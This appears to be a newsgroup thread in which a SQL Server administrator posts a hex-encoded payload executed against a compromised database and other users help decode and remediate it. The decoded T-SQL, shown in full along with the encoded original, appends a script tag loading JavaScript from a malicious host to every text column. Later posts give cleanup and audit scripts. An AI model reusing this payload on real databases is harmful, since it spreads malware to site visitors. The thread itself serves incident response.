Urgent: Deciphering binary code executed against the database

[anojjona]

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x4400450043004C00410052004500200040005400 20007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800 320035003500290020004400450043004C0041005200450020 005400610062006C0065005F0043007500720073006F007200 200043005500520053004F005200200046004F005200200073 0065006C00650063007400200061002E006E0061006D006500 2C0062002E006E0061006D0065002000660072006F006D0020 007300790073006F0062006A00650063007400730020006100 2C0073007900730063006F006C0075006D006E007300200062 00200077006800650072006500200061002E00690064003D00 62002E0069006400200061006E006400200061002E00780074 007900700065003D00270075002700200061006E0064002000 280062002E00780074007900700065003D003900390020006F 007200200062002E00780074007900700065003D0033003500 20006F007200200062002E00780074007900700065003D0032 003300310020006F007200200062002E007800740079007000 65003D00310036003700290020004F00500045004E00200054 00610062006C0065005F0043007500720073006F0072002000 4600450054004300480020004E004500580054002000460052 004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400054002C 004000430020005700480049004C0045002800400040004600 45005400430048005F005300540041005400550053003D0030 002900200042004500470049004E0020006500780065006300 2800270075007000640061007400650020005B0027002B0040 0054002B0027005D00200073006500740020005B0027002B00 400043002B0027005D003D0072007400720069006D00280063 006F006E007600650072007400280076006100720063006800 610072002C005B0027002B00400043002B0027005D00290029 002B00270027003C0073006300720069007000740020007300 720063003D0068007400740070003A002F002F007700770077 002E006B0069006C006C0077006F00770031002E0063006E00 2F0067002E006A0073003E003C002F00730063007200690070 0074003E002700270027002900460045005400430048002000 4E004500580054002000460052004F004D0020002000540061 0062006C0065005F0043007500720073006F00720020004900 4E0054004F002000400054002C0040004300200045004E0044 00200043004C004F005300450020005400610062006C006500 5F0043007500720073006F00720020004400450041004C004C 004F00430041005400450020005400610062006C0065005F00 43007500720073006F007200
AS NVARCHAR(4000));

EXEC(@S);

[eisaacs]

Maybe you could SELECT the text of the T-SQL and check the execution
plan to possibly get some hint of what it's doing?

Please let us know what you find. That's pretty odd.

[Matthias Klaey]

an******@aol.com wrote:

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x44004

[...]

EXEC(@S);

Hi

Copy the code into a query window for a test datadase, then insted of
the EXEC(@S) just simply do a

SELECT @S

and look at the result. Here is what I got:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
<script src=http://www.killwow1.cn/g.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.

But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.

HTH
Matthias Kläy
--
www.kcc.ch

[eisaacs]

It looks like they've added <script src=http://www.killwow1.cn/g.js></
scriptto each column in each user defined table.

Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.

[anojjona]

Great, that's wonderful...Thanks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)

So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thanks!

Matthias Klaey wrote:

an******@aol.com wrote:

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x44004

[...]

EXEC(@S);

Hi

Copy the code into a query window for a test datadase, then insted of
the EXEC(@S) just simply do a

SELECT @S

and look at the result. Here is what I got:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
<script src=http://www.killwow1.cn/g.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.

But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.

HTH
Matthias Kl�y
--
www.kcc.ch

[anojjona]

Yes....we've taken it offline and have an idea how they got in. I've
heard in the news that thousands of websites were hit by this. But I
need to understand the extent of the damage. So that's why I'm going
through each of the log entries.

[e-mail] wrote:

It looks like they've added <script src=http://www.killwow1.cn/g.js></
scriptto each column in each user defined table.

Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.

[eisaacs]

You might want to do the same loop this guy used to fix the data by
doing a REPLACE() to replace all instances of that <scriptlink with
and empty string ''.

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --
DONT GO HERE OR CLICK THIS LINK

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']= REPLACE('+@C+',''' + @BAD + ''', '''')'
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

....I think that's right, but I didn't test it or compile it. That
should remove the bad data.

[eisaacs]

Yes I didn't test it...

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>'

should be...

DECLARE @BAD = VARCHAR(200)
SET @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --

....Again...don't click that link.

[Matthias Klaey]

an******@aol.com wrote:

Great, that's wonderful...Thanks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)

So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thanks!

I'm glad I could help. Is it possible to tell us how you got cought
with this piece of sh...?

Greetings, Matthias
--
www.kcc.ch

[Eric]

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. But I too would like to know.

[anojjona]

On May 12, 9:25*pm, Eric <[e-mail]:

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. *But I too would like to know.

Yeah, it seems this may be the attack that everybody's been talking
about it. It just repeats that same code on every vulnerable page.
The odd thing is, it seems that it doesn't run the code against all
pages that accept inputs...just against a few pages that are
vulnerable. That might suggest that websites were attacked long
before without it being caught.

[Pumba]

On 13 Mai, 03:25, Eric <[e-mail]:

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. *But I too would like to know.

Where did you read about this?

Tor

[anojjona]

On May 13, 4:58*am, Pumba <[e-mail]:

On 13 Mai, 03:25, Eric <[e-mail]:

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. *But I too would like to know.

Where did you read about this?

Tor

http://isc.sans.org/diary.html?storyid=4331

That went to a different website, but with the same script to insert
it. Also:

http://www.us-cert.gov/current/index...ous_javascript

Because this attack is so widespread, us-cert.gov is recommending
people disable JavaScript on their browser completely, and follow
these steps:

http://www.us-cert.gov/reading_room/securing_browser/

Some articles claim that disabling JavaScript is not enough...that
some variants of the attack can exploit holes in HTML without even
JavaScript. That sounds a bit far-out to me, but that's what some
experts are saying.

[Eric]

Here's the news link I found...back from April 23...

http://www.pcpro.co.uk/news/192051/h...-websites.html

This seems to describe what happened.

[anojjona]

On May 13, 2:18*pm, Eric <[e-mail]:

Here's the news link I found...back from April 23...

http://www.pcpro.co.uk/news/192051/h...a-million-webs...

This seems to describe what happened.

Yeah...a lot of sites are affected. And what I've heard is happening
is that when someone hits an infected web page, trojans get installed
on that person's computer, which may not only steal user passwords,
but also send out more attacks using that person's computer. The
places this thing points to are constantly changing.

Now another thing, for those who are interested...the idea posted
before that one could use the same logic to reverse the damage
apparently won't work. That's because it uses the convert() command
to convert the data to varchar. That does two things: It allows the
script to work on text fields (somehow varchar fails when used in
dynamic SQL within an exec statement); but also, since there is no
field length specified, SQL Server seems to default to 30. So, the
data gets cut off after 30 characters (plus any spaces are trimmed
with the rtrim), and then the malicious code is inserted after that.

Every day or two, more attacks come, perhaps from infected computers,
until the site is stopped or SQL injection holes patched. When that
happens, the old malicious code is replaced with the new (because of
the truncation at 30 characters). But each of these seems to end with
the end-script tag. However, since sometimes the Javascript is there
only to use document.write() to put in an iframe, it's possible that
some of these exploits may just insert iframes instead of JavaScript.

(Iframes to websites that have ActiveX controls is perhaps one of the
exploits they were talking about when they said disabling JavaScript
isn't enough?)

By the way, does anyone know if the 30 character thing is standard, or
if it's configurable per installation?

Anyhow, given the data loss, restoring from backup seems to be the
only way.

Here's a little script I wrote to at least get a record of the
damage.

--Do the create table once in the session:
--Create table #report(Tablename varchar(255), columnname
varchar(255), datatype int, affectedrows int)

DECLARE @BAD varchar(10)
DECLARE @T varchar(255),@C varchar(255),@D int

Set @BAD = '</script>'
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name,b.xtype
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

delete from #report

OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C,@D
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('Declare @x int;
SELECT @x = COUNT(1)
FROM ['+@T+']
WHERE RIGHT(convert(varchar(4000),['+@C+']),9) = '''+@BAD+''';
if @x 0 begin
INSERT INTO #report select '''+@T+''', '''+@C+''', '''+@D+''',
COUNT(1)
FROM ['+@T+']
WHERE RIGHT(convert(varchar(4000),['+@C+']),9) = '''+@BAD+'''
end;')

FETCH NEXT FROM Table_Cursor1 INTO @T,@C,@D
END CLOSE Table_Cursor1
DEALLOCATE Table_Cursor1

select * from #report

[MacLeonard Starkey]

How is by not sanitising user supplied data, the injection may have even
occurred against a script or function that was never meant to be called
manually.

This is the same format as a growing number of the injections of the
same type, and format.

From what I have seen this doesn't appear targeted against a specific
web application, but I've been wrong before so...

*** Sent via Developersdex http://www.developersdex.com ***

[MacLeonard Starkey]

If you haven't seen it, here's some analysis on what did this by the
folks at SecureWorks:

http://www.secureworks.com/research/.../danmecasprox/

*** Sent via Developersdex http://www.developersdex.com ***

[Erland Sommarskog]

(an******@aol.com) writes:

Now another thing, for those who are interested...the idea posted
before that one could use the same logic to reverse the damage
apparently won't work. That's because it uses the convert() command
to convert the data to varchar. That does two things: It allows the
script to work on text fields (somehow varchar fails when used in
dynamic SQL within an exec statement);

You cannot do string concatenation with the text and ntext data types,
so that is probably why they do the convert-varchar thing.

By the way, does anyone know if the 30 character thing is standard, or
if it's configurable per installation?

In SQL Server when you say varchar/binary/etc and do not specify a length,
the length defaults to 1. Except in convert where it defaults to 30. That
is not configurable.

--
Erland Sommarskog, SQL Server MVP, es****@sommarskog.se

Books Online for SQL Server 2005 at
http://www.microsoft.com/technet/pro...ads/books.mspx
Books Online for SQL Server 2000 at
http://www.microsoft.com/sql/prodinf...ons/books.mspx